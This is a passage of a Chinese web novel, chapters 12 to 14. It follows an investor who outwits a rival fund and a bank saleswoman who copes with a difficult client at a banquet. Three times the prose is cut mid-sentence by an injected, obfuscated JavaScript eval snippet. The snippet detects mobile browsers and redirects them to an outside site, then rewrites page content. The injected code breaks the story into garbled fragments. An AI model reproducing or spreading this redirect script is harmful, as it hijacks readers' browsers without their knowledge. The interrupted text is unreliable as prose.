看他脸色倒没什么变化，周容森悲极生乐，调侃：“干嘛？准备辞职了？” 席准抬眉看他一眼，反而笑了：“和我一起去个地方。” 他就是这样，就算天塌下来也不会皱一下眉头的性格，何况天还远远没塌呢，以前也不是没有失利过，胜败乃兵家常事，Shawn心最沉最稳，怪不得总能做成大事。周容森是这么揣摩的。 看眼地址：“北四环，这什么地儿？” “去了就知道了。” 车驶逐渐驶离繁华街景，周容森把手机捏在手里，凝视窗外飞驰而过的景色。 转头看到席准正垂眸把玩着打火机，沉声问：“是谁把底价透给了Tirus，你心里有数吗？” 他停顿两秒，咔嚓一声，火苗从打火机里窜了出来：“嗯。” 周容森对上他的眼神，知道他们心里在想的是同一个人。 微哂了一声——老章还是沉不住气啊，到可以光荣退休的年纪了，怎么还想着要再造一把呢？ Shawn后来者居上，他能理解章秉文心有不甘，或许还有一些怨怼，却没料到他会这么偏激，宁愿鱼死网破两败俱伤，也不愿安安稳稳、与世无争地退居幕后。 这几天章秉文有些微妙地不在状态，说不清原因，但总有种山雨欲来的感觉，周容森那时就觉得奇怪，没想到真的一语成谶。 “聚喜这么大的项目，他是存心要让你在张总和董事会那里跌份儿了。”仅仅是一息之瞬，周容森选择好了战线，严肃道，“Shawn，你预备怎么办？” 那道青蓝色火焰在静静燃烧，席准问：“你听说过一句话吗？” “什么？” “将欲歙之，必固张之；将欲夺之，必固与之。” 席准利落地合上打火机翻盖，突然勾唇笑了：“如果我有什么要确保万无一失的事，一定反其道而行之。” 什么意思？ 车子停下来，放两人下车。周容森放眼望去，是一个很大的集中仓储发货基地。成批的棕色箱子堆放在一起，小货车从基地中依次排队进出，空车进，满车出，次序井井有条。 每辆车的右上角都标着清晰亮眼的浅蓝色logo。 ——“得萃”。 冷风从窗沿微微拂过，周容森在那个电光火石的瞬间，激灵地想通了所有关节。 他步伐顿在原地，多少还是被那个猜想震得有点舌桥不下：“Shawn，你……” 不远处有个穿着米色袖衫的中年男人脚下生风地走过来，席准迎上去与对方握手，声线沉稳有力：“郭总，幸会。” - 企业的创始人把自己下放到基层监督运营，这是难有的事情。 下午太阳曝晒，郭成凯领着两人进到北京物流基地里面，这儿面积很大，有将近二十万平方米。商品依次做了分类，还有专门的冷链生鲜仓储库，三人乘坐小观光车在基地里绕了一圈，听主管介绍不同的区域。 郭成凯知道席准过来的目的，之前私下浅聊过几次，对博源资本有一定的认识，也很欣赏他的为人。 他自己是小城出身，本身也是质朴的人。很坦诚，直接摊了牌：“不瞒您说，有几个公司也表明了投资意向，目前陆陆续续都在接洽的过程中。” 席准说：“您说的这些投资公司，我斗胆猜测一下，里面您比较属意的应当是百耀战投？” 百耀是互联网龙头企业，知名度能和腾越平起平坐，底下用自有基金攒了个战投部门，专门做一些互联网科技领域的战略投资，以往的案例都很成功。 郭成凯很谨慎，没回答是或不是，席准也不在意，微笑道：“您肯定也知道，聚喜优品的创始人吴总以前是百耀的高级工程师，单枪匹马出来创业，早期融资的时候回头找百耀帮忙，老东家态度却比较冷淡，只象征性持有了个位数的股权，3%都没到。” “后来风水轮流转，等聚喜后来发展壮大，百耀战投再想入股的时候，吴总却不干了。” “百耀因为决策失误错过了聚喜，现在集团的战略布局里面，正缺一个电商企业，作为他们电子支付业务对接C端的载体。”这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224053|197536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才想极力拉拢得萃。 郭成凯不动声色问：“那席总的意思是？” 席准不疾不徐：“业务协同固然是好事，但是互联网实体公司和我们私募基金的区别正在于此，一旦您加入到集团里面，决策方面就不再是一家之言。” 郭成凯不假思索：“他们答应会给我充分的自由度。” “话是这么说，届时碰到资源冲突的时候，难免会受到掣肘。” 郭成凯一怔，似是陷入沉思。 席准说：“如果有幸能跟得萃合作，我可以在此跟郭总承诺一件事。” “什么？” 那双眼睛沉静锐亮，郭成凯听到他一字一句说：“博源会在最大程度上尊重您的意愿，并且永远不会以任何形式剥夺侵占您的管理权。” …… 这场商业会面时间比预想中还要久得多。 周容森跟着席准从基地里出来的时候，心里的波澜起伏还没有平静。就说怎么会去勤州呢，那种前不着村后不着店的小镇地界。 ——原来如此。 等到上了车，终于憋不住：“说说吧？” “嗯？” “什么时候改变了想法要投得萃？中秋节前还是后？” 席准说：“我没变过想法。” 周容森看了他好半天，都快哽笑了：“行，你牛。” 他到现在才将将消化过来，却仍有点不敢置信，反复琢磨数字之间那点微妙之处。 按照项目组之前的测算，得萃的估值大约在65亿美金左右。如果按照Tirus的惯例投资5%，那就需要3.25亿美金。 而博源给聚喜的报价是6.8亿，这已经是很高的价格了，Tirus为了赢下这个项目，10个亿里面一下就花了7个亿，剩下的额度无论如何都不可能再把得萃吃下。 正因为周容森突然意识到6.8这个数是有讲究的，才会如此震惊。 所以，Shawn一开始的目标就是得萃，并不是聚喜。 Tirus这样大的竞争对手，就被他以这样四两拨千斤的方式直接踢出战局。不仅如此，还让Tirus以相对更贵的价格投入聚喜，上市后虽然能赚钱，但回报肯定偏低。 还有章秉文…… 老章说是一年后退休，到时候真退不退还不好说，要是赖着不走谁也没办法，除非张总直接出面。再加上这些年他始终有口气在心里憋着，的确像颗不定时炸弹。 既然无法料定对方会做什么，不如先引这颗炸弹爆炸。怪不得在开投委会的时候，Shawn还屡次询问老章的意见，觉得给聚喜的报价水平如何。 周容森那时还以为他是想退一步求和，原来是需要一个契机。 一石三鸟，步步都在他的计划之中。 但他怎么知道章秉文会反水，又怎么知道Tirus一定会上钩？ 周容森想，Shawn这步棋最厉害的地方在于，如果有哪个环节出了错，他仍旧能够照单全收。 ——就算按原计划6.8亿美金投聚喜也不吃亏。 但他太了解人心，居然真的做到算无遗漏。 席准还是那副淡漠犀利的模样：“外资私募不了解中国的本土化企业，总以为华美的就是最好的，欣赏不了得萃的魅力。” 而实际呢？ 他们刚才和郭成凯就在基地保安室的隔间里聊天，环境虽然简单质朴，但业务都是实打实的。正如这家企业的风格，沉稳而务实。 不止勤州，他到好几个小城都切身实地地跑过，下沉市场的空间和成长潜力，比想象中还要巨大得多。 “……” 周容森也在反思自己先前对于得萃的轻视。 不该用是否盈利来判断一个企业的价值，要不是Shawn，可能真会错过这个千载难逢的机会。 他还在热血沸腾，突然想到什么：“正诠总知道这事儿吗？” 席准扬眉看他。 周容森面色幽变：“今早他老人家拍桌子那出，该不会是——” 席准耸了耸肩，闲散地笑了：“你想多了吧。” 周容森：“……”玩儿呢？ 有时候咂摸起来，总觉得Shawn这人，是真坏得挺没边儿的。 13. 相碰 十月上旬，已经颇有点秋高气爽的意思。 林晚橙正在会场忙前忙后，帮忙检查场地设备——金昂要举办一个大型客户交流会，邀请了研究部的首席分析师和几个主讲嘉宾，还有高规格晚宴。 场地就在五星酒店的米其林餐厅里，为此专门搭建好了大屏幕和投影设备。 这次来宾近百人，不仅有他们现有的客户，各个销售团队还可以邀请他们的潜在客户过来。 但还没到时间，林晚橙布置完所有事情，终于能够歇一下。一看微信，十几条来自大鱼的消息。 俞灿最近在相亲，不知是不是家里的属意，一周见一个人，每天都有吐不完的槽：【妹宝救命！】 橙子圆滚滚：【怎么啦？】 大鱼吃小鱼：【今天这位是个褶子哥……】 由于见的人有点多，俞灿分享的时候按照经历很贴心地给这些人起了绰号，什么“气球哥”、“游泳哥”、“褶子哥”，以便林晚橙进行区分。 俞灿说：【照片上皮肤光嫩平整的，怎么到了现实里皱得跟朵菊花一样，多看一眼都觉得要浇水了？】 俞女士真是相当刻薄。 林晚橙想象了一下那个画面，扑哧一声笑了。 橙子圆滚滚：【你今天不忙？】 俞灿发来个“青蛙擦汗”的表情：【没有啊！最近在跟个项目，刚上完一轮会呢，忙里偷闲罢了。】 林晚橙很敏锐：【是你之前提的那个互联网消费项目？】 俞灿答：【对。】 她问：【这项目怎么啦？】 俞灿没多说：【有些不顺利，唉没事，再看看吧。】 林晚橙回她一个拥抱的表情。 她正逢生理期，想去上个厕所。脚还没踏进去，忽然听到里面有说话的声音，责问情绪居多：“我才发现，你把邀请函发给方玥了？” 另一道声音底气偏弱：“嗯，您不是说广撒网，多发给几个潜在客户吗？” 林晚橙辨别出是Naomi和她老板邵德文，隔壁组的销售。 “你他妈长脑子了吗？！发之前不会先查下网上新闻？方总和她老公三分之一的财富来源都是澳门赌场生意，我请问你这样的Prospect符合在我们这开户的规定吗？” 赌场的KYC很难做，过不了金昂的合规审批，是她没查仔细。 Naomi自知理亏：“您别生气，她到现在还没签到，应该是不会来了。”顿了下又为自己辩解，“我、我就是看她挺有钱的……” 不补后一句话就好了。 林晚橙心里叹息一声，果然接下来就听到德文总暴跳如雷的声音，简直气笑了：“有钱就能开户？洗来的钱也是钱，你怎么不到提篮桥挨个问问那些大佬们要不要开户呢？” 卫生间霎时陷入一片死寂。 林晚橙警觉起来，转身就走，她撤退得很及时，刚转过一个拐角，Naomi就跟着老板灰溜溜地出来了。 林晚橙等两人都回到会客厅，才重新进了卫生间。 无意中吃了个瓜，还挺精彩。出来以后听到Jane在不远处扬声叫她：“Chloe，朱总到了。” “哦，好嘞！”林晚橙赶紧肃整好表情，反应很快，“那我出去接一下他。” 今天Jane有几个客户要来，都在路上了。 来宾陆陆续续地进场，眼看着林晚橙拎着小包疾步往外走，上道得很，Jane很快放下了心。 …… 席准和周容森进来的时候，场中一片热闹。 晚宴还没开始，客人们已经举着高脚杯开始了闲聊，前台负责签到的年轻员工请他们出示邀请函，席准拿出手机给她看了一眼：“电子的可以么？” “可以的。”对方不经意和他对上视线，又微赧地晃开，“…给您二位登记好了，名牌在这里，您请进。” 周容森将画面清晰收进眼底，在心里啧了声。目光看了看埋头坐着的那个姑娘，却没说什么。等到进了场，才极尽揶揄地扬了扬手上的邀请函：“这玩意儿我一共收到了三张。” 分别来自三个不同的销售组，如狼似虎的Sales啊。 席准拿了杯香槟，迈步进入会场。一眼望去场中有不少旧友，撇开那些迎上来想攀谈的闲杂人等，周容森饶有兴致地打量起周围，压低嗓音：“不愧是金昂的特种兵战队，销售都这么漂亮。不过也都差不多，红唇大波浪，没什么新意。” 周容森作为合伙人什么都好，就是讲话偶尔有点不着边际，席准并不在这种事上搭他的腔，只低下头喝一口杯中酒。 “那边倒是有个看上去盘亮条顺的。”周容森眼前一亮，未作掩饰，径直望过去，“皮肤白，腿细，腰也细。啧，长得真乖。” 那头的确有个很清新纤细的姑娘，一双眼睛水灵得要命，温婉的杏眸，耳尖也嫩生生的。 和勤州那天的松散轻快不一样。明明是清纯至极的长相，总要搭一条风格迥异的及膝收腰裙，仰头间脖颈露出雪白一片。 姑娘似乎是嫌头发碍事，将一侧碎发挽至耳后，另一侧则柔和垂在胸前：“朱总，您太谦虚了！我就是挺想知道，您是怎么把企业做得这么大这么成功的？” 那头说了些什么，她弯起的眼散发出明媚的光，很不好意思地掩着唇笑：“是嘛？那您当时多不容易呀。真好奇，您印象中有什么特别深刻的经历吗？” 席准看了须臾就收回视线，周容森倒觉得挺新奇，挑眉笑了笑。 这姑娘懂得示弱，那点小谄媚很聪明地藏在共情力里。 他像过来人一样，轻飘飘呵了声，意有所指又带着深意调侃：“这些销售小姑娘就是这样没个定性，今天对着这个笑，明天又换成另一个，如鱼得水得很呐。” …… 林晚橙不知道自己就这么凭空被审判了。 她提着一口气“采访”完朱总，又见了两个客户，挨个把人顺利地送入指定座位。站久了高跟鞋磨得脚后跟有点疼，还差十分钟正式开始，林晚橙拿了杯水，自己找了个不引人注目的小角落坐下来休息。 这种忙里抽空的时间当然也要拿出来学习。 社交软件正好给她推送如何做销售的经验贴，内容有些干货，就好奇地拜读了一下。 看了片晌，却感觉没看到什么新鲜的东西呢？帖子里那几条都已经是她全盘掌握的技能了。 还挺不赖。 林晚橙在心里表扬了自己，嘴角不自觉翘了翘。还在悠然自得地喝着水，忽然感觉肩头覆下一层阴影。 先闻到沉烈的苦艾香，她一抬头，就对上那道深漆的眸光。 他换了香，林晚橙蜷着膝盖，有一秒钟没组织好语言：“Shawn总……” 慌乱间，多加了个他不喜欢的“总”字，席准背着光看她，视线不清不楚，像暴雨侵袭前的海面。 林晚橙的手机屏幕没锁，明亮的光吸引着人下意识看过去，她察觉到男人垂敛下眼，视线也不由自主跟着重新落下去。 【沟通技巧[配图/狗子叼玫瑰]： 一，要放低姿态请教客户； 二，问客户的成功经历； 三，对客户表示共情； 四，连环追问； 五，夸夸夸！】 …… 刚还没注意到，帖子的标题为了吸睛写得这么炸裂： 【还学不会做销售？你只是在骚扰客户，而不是跟进客户！[呲牙]】 席准似笑非笑地挑了下眉，那瞬间林晚橙忽然被水呛到，两眼一抹黑。 “……” 她捂着嘴弹跳起来。这才发现另一头的出口被封了起来，这个位置虽然偏僻，但是进出都可能经过。林晚橙意识到他是刚好路过。 “我、我就学习一下，没别的意思……” 席准看她一眼：“学习怎么骚扰客户？” 他表情不苟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224054|197536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言笑得很，淡然到林晚橙都疑心自己听错了话，耳尖被某种颜色渗透得彻底：“——您说什么？” 席准勾唇，居然破天荒笑了。 他个子高，她只有165，踩小高跟也只能平视到他的下颌，鼻尖蓦然被那阵苦艾香侵袭，心跳都快跃出来。 林晚橙满脑子都是那个巨大的“骚扰”，耳根还红着，仍极力迫使自己镇定下来。哽了几秒，当机立断地转移了话题：“这么巧，您也来参加活动啊？” 她装得很惊喜，小酒窝都抿出来了，表情还挺讨巧，谁知席准低下头，波澜不惊问：“你刚才不是已经看到我了吗？” “……” 林晚橙的表情又僵住了：“啊？” 啊什么？ 她都能从他微抬起来的眉峰里直接读出这句话——但没有办法否认，因为刚才的确看到他了。 他和周容森在场中央被好几波人围着说话，和Jane也聊了一会儿，看起来还相谈甚欢。在人群里视线交错着擦过那么一瞬，林晚橙很快就避开了。 她不敢看他。 为什么呢？全赖之前做了件蠢事情。 从勤州回来以后，林晚橙反复回味，越想越觉得失策。席准态度冷淡，她竟然也没再尝试寻求其他方式加他微信，思来想去，又问那个在博源工作的大学同学打听。 事关大老板的联系方式，这种事其实挺敏感，幸亏在学校的时候两人关系不错，林晚橙一再拜托，对方这才答应。 同学翻了博源的公司通讯录，找到一个席准的电话丢给了她，林晚橙回去以后搜了一下，真的搜到个微信，昵称是“Shawn Xi”。 她斟酌再三，还是鼓起勇气申请添加了。本以为有了勤州的交集，这事儿应该有点希望，谁知消息发出去之后石沉大海，连声响都没有。 林晚橙有料过会被拒绝，但还是有些沮丧。反思过后觉得自己确实是冲动了，应该等更好的契机的，这样没头没尾的，是她太心急了。 只觉得有点委屈，但又没立场委屈，所以才假装没看到他。却没料到会被猝不及防地戳破，着实凌乱了片刻。 不是，不加微信也就算了—— 怎么还有这种问题？！ 林晚橙憋了口气，指尖把掌心都戳出幽怨的红印子了，也没忘端好她那丝妥帖的职业假笑：“不好意思，可能刚才跟您离得太远，我没能完全确定。” “是吗？”席准垂着眸，眼底有极短促的兴味一闪而逝。 他好像也没真想要一个答案，瞥她一眼又站直身体：“活动什么时候开始？” “马上开始了。”林晚橙颊边温度稍稍松释，赶忙问，“您找到位置坐了吗？” 席准往不远处看了一眼，本来给他们安排的是正中央的圆桌，但考虑到如果要提前离场太引人注目，就挑了右边更偏僻的视野，没有选择和周容森坐在一起。 右侧恰好是Jane分到的桌子。 林晚橙也看到了，是真挺巧的：“那我送您过去？” “不用了，谢谢。” 席准很有修养，说话也是低沉绅士的。林晚橙怔了下，他却疏淡地朝她点了点头，就这么径直掠过她，走了。 “……” 林晚橙觉得他实在让人捉摸不透。远远望着Jane已经在和客户天南地北地聊了，她想回到自己在的那一桌，抿着唇抬头，看到签到处还有来宾入场。 女人穿着华丽，身披一件貂皮大衣，背了个爱马仕Birkin包，戴着墨镜左顾右盼地进来。 是哪组的客户吗？ 林晚橙脑子里刚过了这么个念头，就看到一旁神情有些躲闪的Naomi。 她突然明白了，然而女人噔噔踩着恨天高进来，用不大的音量嚷了句：“没人来给我对接一下吗？！” 林晚橙还没说什么，电光火石间，Naomi却把她推了出去，恳求道：“Chloe，你帮我一下吧——” 14. 解围 林晚橙穿的高跟鞋也没那么矮，被Naomi这么一推，趔趄了一小下，人就到了最左侧入口通道旁边。 很自然地被女人捕捉到，她像个激光马达，锁定目标，噔噔噔就朝林晚橙冲过来。 “你是金昂的Sales？” 林晚橙躲闪不及，只能接招。她记得对方的名字叫方玥，看了眼名牌又确认了下：“…是的，方总。” 对方虽姗姗来迟，倒还挺理直气壮：“那你告诉我该怎么走？” 论理说，签到时间早就过了，座位也是先到先得，林晚橙放眼望去，满场都已经座无虚席。要真让她加塞一个位置也很难办。 而且对方的财富来源里有赌场业务，基本上是肯定开不了户。 但也不好让人现在就离场。 她委婉地问：“给您发邀请函的销售是哪位呢？也许找到对方会比较好。” Naomi早躲进人群里不见踪影了，方玥火气也大：“我要是能找得到她我至于还干站在这儿？”顿了下又连珠炮一样问，“你们金昂就是这么待客的？客人来了连个做接待的都没有？” 活动就要开始了，她的声音吸引了边缘几个客户的注意，纷纷审视着打量过来。林晚橙不着痕迹压了口气，知道当务之急是控住火势，别把事情闹大。 “不好意思，是我们行事不周，让您久等了。”她抿着唇，让了让身，不卑不亢道，“您跟我来吧，我带您找一个好的位置。” 方玥这才满意，悠悠摘了墨镜，随手扔回包里。 林晚橙尽量不打扰其他嘉宾，引着她走最隐蔽的路线。刚才布置场地忙里忙外好久，午餐都没怎么吃，此时又有些腹痛。轻轻颦了下眉，稍微用力按了下肚子，感觉又好了些。 因为确实是没空座了，她打算让出自己的位置。 林晚橙原本的座位是和其他职级中等偏下的分析师一起，桌子正好跟Jane分到的那张前后挨着，座椅背靠着背。 组里的客户都已经坐好了。Jane四十出头，算是十分年轻的MD，但却格外有能耐，手上账户管理的资金规模已经超过百亿人民币。因此，总共也没几张大圆桌，她就能抢到一整张,不仅让自己的客户都能坐下，还邀请了几个潜在客户一同进餐。 Jane此时正坐在席准旁边跟他聊天，不经意瞥见身后林晚橙领了个人回来，眼神询问怎么回事。林晚橙和老板之间很有默契，指了下手机，意思是微信细说。 从她这个角度只能看到男人半张影绰侧脸，轻轻扫过一眼，便低着头带着方玥到了自己的座位：“您看坐这里可以吗？” 方玥抬眼看了下大屏幕：“这么偏么？” 林晚橙眸子黑亮：“这儿方便您随时出入。” 倒也是，方玥看了桌上一圈初生牛犊，又发现一个客户也没有，顿生不满：“为什么要安排我和员工坐在一起啊？！” 因为您迟到了啊！ 但她不能那么说，拿桌上的茶壶给方玥倒水，一点脾气也没有：“因为您有名，我们都特别想跟您近距离交流。我想着千载难逢的机会，场子里又还剩这里有位置，就自作主张带您过来了，希望您别介意。” 顿了顿，诚恳道，“您要是想和其他客户交流，一会儿还有自由时间。” 一顿操作猛如虎，把客户直接架了上去。蒋晨就坐在她旁边，闻言都想给她竖个大拇指。 方玥故作平淡地撇了撇嘴，到底还是吃了这套，轻飘飘摆摆手：“行吧。” 林晚橙暗暗松了口气。 这时大屏幕开始播放开场视频，是金昂私行砸重金做的宣传片，虽只有短短几分钟，但高度浓缩了先进的服务理念和国际视野。视频过后，主持人上台讲话，宣布晚宴环节正式开始，同时请演讲嘉宾在中心区域分享研究观点。 他们这里是最边缘的角落，林晚橙没有座位，就只能先站在靠墙的位置。趁这个时间，发消息给Jane解释。 因为在晚宴期间，她没有说很多，只说这个Prospect是Naomi她们组的，不知怎么没协调好，让她给撞见了，就先帮着照看一下。 隔壁组和她们也是竞争关系，按照公司内部潜规则，大家都不会去碰别的组已经明显在接触的客户，因此林晚橙并不担心Jane会误把方玥当成目标。 但是如果一下子全部都如实汇报，以老板的脾气，一定会立刻找隔壁组的MD兴师问罪。不说到时候场面会不会好看，主要是她不想让Jane为这种小事烦心。 Jane确实在忙着照顾一大桌子的客户：【行，你先负责好。我这边忙。】 林晚橙说：【好的，您放心。】 Jane背对着她，余光也能瞥见她一个人显眼地站着。她还在和席准聊天，忽然发现他正巧也在往那边看，顺带就跟他介绍：“Chloe是我手底下的员工。” 在Jane的认知里他们应该只见过一面，“你们之前开会的时候见过。” “嗯。”席准漫不经意收回视线，边喝茶边像是随口一问，“年纪不大，工作多久了？” “两年出头，但人挺机灵的。” Jane简单评价，思绪一转，又玩笑道，“我手底下都是这么机灵的员工，你要是来我这儿开户，保管给你服务到位。” 席准闻言只是浅浅吊了下眉梢，没应好或不好。 Jane对他这种模棱两可的态度早习惯了，Shawn不缺钱，更不缺销售往上贴，像他这样的人开户往往就是缺一个契机，在契机到来之前，她要做的仅仅是持续昭告存在感而已。 …… 林晚橙这两天正逢生理期，气血有点虚，站一会儿就累。她看到侧面的墙角放了把空椅子，刚兴起一点搬过来坐的想法，就听方玥嚷了起来：“怎么回事？” 西餐菜式一道一道呈上，刚上了餐前点心，林晚橙赶紧凑过去：“怎么了吗？” “为什么别的客户餐前点心和我的不一样？” 她往旁边悄悄瞄了一眼，确实不一样。Jane和她们组客户面前都是造型精致的手工面包，是只软乎乎趴着的小熊猫，有鼻子有眼的，而他们这一圈员工只有普通的圆形全麦贝果，旁边配了一坨土豆泥。 这次活动很火爆，各组超额报名，林晚橙觉得大概率是因为米其林供菜额度固定，所以餐厅统计了人头，先到先得。 说白了还是因为迟到的问题。 方玥却全然不自知似的，沉着脸很不高兴：“故意埋汰人是不是？你赶紧去后厨帮我问问。” 这客户脾气明显不是太好，无缘无故摊上也挺倒霉。蒋晨在旁边都为林晚橙捏了把汗，但她还算镇定：“好的，您稍等。”转身去了后厨。 林晚橙知道肯定没法让方玥如愿，但表面流程还是得走的，和餐厅确认了一遍就回来了：“不好意思方总，小熊猫没有了，才给您上的全麦，不过这也是我们餐厅厨师手工做的……” 方总真是她见过头个难搞的作精，竟耍起赖来了：“我就要熊猫造型的。” “这个真没有了…要不您看看有什么想喝的饮料，我帮您多上一杯？” “谁要喝饮料？凭什么我和其他客户不一样？” “不是，您看——” “我不管，你必须给我弄来！” 林晚橙看了看她，突然偃旗息鼓：“哦。” 怎么就哦了？方玥正起劲儿呢，也被打了个岔，狐疑地看着她。那瞬间林晚橙的小强精神忽然焕发了光彩，将方玥那盘端起来：“那我给您重新换一份，行吗？” 方玥本来就是存心刁难，不知她还能翻出什么花样，眯了眯眼：“行啊。” 于是林晚橙端着盘子走了，直到过了好一会儿才回来：“您的餐前点心来了！” 她还煞有介事地搞了个盖子，一打开，朦胧的雾气飘了出来。 方玥低头一看，一口茶差点喷了出来。 什么东西这是？！ ——原来的圆形贝果变了个样。上面涂满了细腻的海盐奶油。左右上角像儿童涂鸦一样，用黑芝麻勾勒出耳朵的形状，又用了两颗黑色马卡龙当作眼睛，沾了点奶油径直摁在贝果上。 林晚橙就这么抿着笑把自己的作品推出去，表情不知有多真诚：“您看，这是不是就是您想要的可爱的小熊猫啦？” 又指了指那坨土豆泥上插的一条抹茶脆棒，那可是拆了一袋百力滋取出来的：“还给您多种了一根竹子。”她很神秘地压低声音，讲话却颇具内涵，“别的客户都没有竹子呢，您这根是独一无二的。” “……” 她这话音刚落，蓦然听见身后侧传来低哧的一声笑，几不可闻。 林晚橙还有点困惑，直到扭头对上席准的目光，小脾气忽然一凛。她有种做坏事被抓包的感觉，脸颊莫名烫了起来，他笑什么呢？ 她说得那么小声，他是长了顺风耳，一边聊着天还能听到？ 林晚橙还想多看一眼，那笑却跟昙花似的，没了。男人慢条斯理喝一口茶，又转过去了，好像刚才那深长的一眼只是她的错觉：“……” 这头方玥被噎得哑口无言，想说什么，看着面前那坨丑东西又说不出口，只能气恼地咽下，林晚橙恍然不觉，像完成了任务的工具人，又站回墙角。 她真是饿得慌，屋漏偏逢连夜雨，肚子竟也开始疼起来了。林晚橙很少痛经，刚才是和黄金矿工斗智斗勇牺牲了体力，又没怎么吃饭，状态才这么萎靡。 苦恼地按了按腹部，却并没有缓解。她恨自己这肚子不争气，早不疼晚不疼，偏逮着现在。 正寻思到外面找点东西垫垫蔫了吧唧的胃，又听到方玥说：“我有点冷。”她理所当然地使唤林晚橙：“要不你给我拿条薄毯子来。” 林晚橙觑了眼她那厚重到浮夸的貂皮大衣，立正站直：“…好的。” 她穿着高跟鞋往厅外面跑，问了好几个工作人员才找到干净的毯子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224055|197536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，又折腾回来：“您要的薄毯。” 方玥晲了她一眼，淡淡点头：“嗯。” 过了会儿又说：“你刚才说那什么饮料，我又想喝了，菜单给我拿一下。” 林晚橙又给她拿了菜单，站在旁边等方玥慢悠悠地选好，再去跟餐厅的人下单。 就这么一趟一趟来回地跑，没停歇的，脸都跑红了。林晚橙累得头昏眼花，眼睛却比谁都亮，只隐隐含着点水意，一声不吭地低下头，拿手背悄悄抹了抹颊边晶莹的薄汗。 方玥还想折腾她，却听身后有人说：“方总，打扰一下。” 她讶异地转过来，看到身着西装马甲温文尔雅的男人，在朝她很客气地笑。方玥认得席准，气焰一下收敛了：“席总？” “我有点事，想借用一下你身边这位小姐。”席准转过身，随意指了下林晚橙。 他这样开口，方玥不好说什么：“您请。” 林晚橙看向他，席准对她说：“麻烦你去帮我拿杯温水过来。” 他也使唤她是吧？ 林晚橙不敢明着跟方玥耍脾气，却没忍住暗暗看了席准一眼，有点用力的。 但看完很快就后悔了，她刚才不算在瞪他吧？简直是吃熊心豹子胆了，可男人从容地端坐原位，仿佛浑然不觉。 林晚橙肚子疼得很，但饮水机就在旁边很近的地方，于是她攒起最后的力气跑去拿水，又返回来：“您要的水。” 席准却不接她的话，指了指身后靠墙的那把空椅子：“关于金昂的服务内容，我还有一点不太理解，方便坐这儿给我解答一下吗？” “……” 手心被热水的温度烫到，林晚橙忽然意识到自己错怪他了。 见她怔住似的，席准笑了：“怎么？不方便吗？” 极耐心的语气，林晚橙从不知道他温柔起来是这样的，定定看了好一会儿，才一步步走过去在椅子上坐下。她默默地捧着水杯，心跳却像泄了闸，快得出奇。 他就这么轻松地帮她解了围，她还没搞懂席准到底是怎样的人，心却酸软成了一团。她对他的认知好像从来都不准确，明明前脚还觉得他恶劣，后脚又全部推翻了。 连老板都没有注意到的事情，他却细致地留心到了：“想吃什么自己跟服务员说。” 林晚橙喝了一口热热的水，低头就看到被狼狈磨破的后脚跟，抿着唇嗓音轻细地出声：“……谢谢您。” 这件事在他那好像是很小的插曲，席准淡淡点了下头，没再出声。 确实是小插曲，有一个潜在客户当场就要开户，Jane忙着去沟通准备，人已经不在位置上了，完全没注意到他们的对话。 林晚橙找餐厅要了一份小小的三明治，虽然份量不大，但因为夹了芝心，所以吃起来格外香。她很容易就感到满足了，以为时间过得会很慢，实际上嗖的一下就到了尾声。 活动到九点钟散了场，Jane终于回来，虽然喜怒不形于色，但是嘴角还是泄露了一点高深的微笑。 林晚橙仔细观察老板，看来户是开成了。 她也打心底高兴，司机们已经在酒店正门排起了长龙，各组客户们该走的走，该散的散。Jane还准备了一个after party，专门包下隔壁酒店的顶楼玻璃半开放式高奢酒吧，趁这个难得的机会邀请客户们一起聚聚。 林晚橙走路有一点点发跛，Jane终于发现她脚后跟肿了，让她先歇一会儿，只叫蒋晨一个人去门口送不参加聚会的客户。 林晚橙就在内场坐下，视线转了一圈，忽然瞥见席准。他似乎要离场，却在场子里被谁拦住了。 是Naomi。 Naomi人专业能力不太行，却很有些小心思，眼睛尖得很，一下子就盯住了席准。林晚橙看到Naomi扬起脸朝席准笑，笑得很讨好，也不知说了什么，席准拿出手机，让她扫了二维码。 ——他加了对方的微信。 林晚橙突然愣住了。 席准的表情很淡漠，像刚才对她点头一样也对Naomi点了点头，从侧面人少的出口离开了。 他身高腿长，白衬衣外面裹了件收腰的深色西装马甲，走起路来大步流星。 林晚橙从后面看到他挺拔的背影，肩背是男人独有的那种宽阔紧实。 她呼吸不经意间变急促了，忍着痛紧了两步，想追下台阶，谁知席准漫不经心地在侧门口停了下来，林晚橙有点没反应过来，猝不及防地刹住车。 这儿环境幽静，没什么人经过，好像她的心跳也落针可闻。 席准回过头，垂眸看林晚橙气喘吁吁的脸，嗓音有点低沉：“怎么了？” 林晚橙觉得很委屈，也想不明白到底是为什么。 席准俯了点身：“嗯？” 